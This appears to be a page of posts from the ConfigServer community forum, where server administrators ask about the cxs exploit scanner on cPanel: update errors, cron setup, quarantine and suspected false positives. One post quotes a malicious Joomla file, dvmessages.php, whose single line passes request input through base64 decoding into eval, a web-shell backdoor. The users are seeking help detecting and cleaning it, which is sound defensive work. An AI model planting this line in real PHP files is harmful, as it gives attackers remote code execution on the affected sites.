ConfigServer Community Forum

First I contact cPanel support, investigating it they found that the
CallUploadScript yes causing the problem.

All that immediately after today's update.

Is there a fix / walkthrough,? it's a bug ? I should remove from all server the
CallUploadScript parameter at least temporary ?

Hi,

How do i add some custom rule?

I found out some file with name dvmessages.php causing ddos on joomla site and i want cxs clean it every cron is running. Any idea how to do it?

dvmessages.php file contains:

defined( '_JEXEC' ) or die(@eval(base64_decode($_REQUEST )));
jimport( 'joomla.plugin.plugin' );

Updating to cPanel 11.36 I see in every module
(cxs / modsec / csf) this error:

Can't use string ( _defheader.tmpl ) as a HASH ref while strict refs in use at /usr/lib64/perl5/site_perl/5.8.8/x86_64-linux-thread-multi/Template/Context.pm line 809.

Hello,

CXS 'seems' to have identified this, but for some reason it's not getting quarantined. We've looked over the settings and we must just be missing it. Why isn't this getting quarantined?

Scanning FTP file...
Time : Tue Jan 15 07:07:35 2013 -0600
FTP user : #####
FTP file : /home/#####/public_html/cgi-bin/dm/dm.cgi
FTP owner : ##### (931)
Remote IP : ##.##.##.## (##.##.##.##)
Blocked : No...

Good morning,

This file has been flagged repeatedly but it appears that it may be legit. Can someone confirm?

cxswatch Scanning /home/terrysco/public_html/wordpress/wp-includes/js/plupload/plupload.silverlight.xap:
# (compressed file: plupload.silverlight.dll) MS Windows Binary/Executable :
'/home/homedir/public_html/wordpress/wp-includes/js/plupload/plupload.silverlight.xap'

thanks,
dean

What cron is cxs supposed to be going to when I use the submit cron feature from the WHM interface? I don't see it in root cron. I also noticed that cxs did not run automatically after setting it up. Obviously I can manually place the cron job in root cron, I just wanted to make sure. Thanks.

15226 root 18 0 40652 34m 1412 D 14.4 0.6 0:13.98 cxswatch starting...

I see the cxswatch starting... process continuously running on a few of our servers. On one inparticular it seems to produce a significant load:

We do need this daemon to run.

Here are the results of:

ps -ef | grep cxs

root 15226 1 6 04:22 ? 00:00:26 cxswatch starting...
root 15228 15226 0 04:22 ? 00:00:00 cxswatch -...

hi
Once installed cxs
in whm >>>>cxs plugin
ConfigServer eXploit Scanner - cxs version failed at /usr/local/cpanel/whostmgr/docroot/cgi/addon_cxs.cgi line 19.
and not start cxs watch

Some sites with Wordpress and the plugin Better WP Security result in :
Known exploit = [Exploited .htaccess ]:

¿Is an exploit or a false positive?

.htacces contet:

# BEGIN Better WP Security
Options -Indexes

Order allow,deny
Allow from all
Deny from 81.114.75.174

Order allow,deny
Deny from all

Order allow,deny
Deny from all

Order allow,deny
Deny from all

Order allow,deny...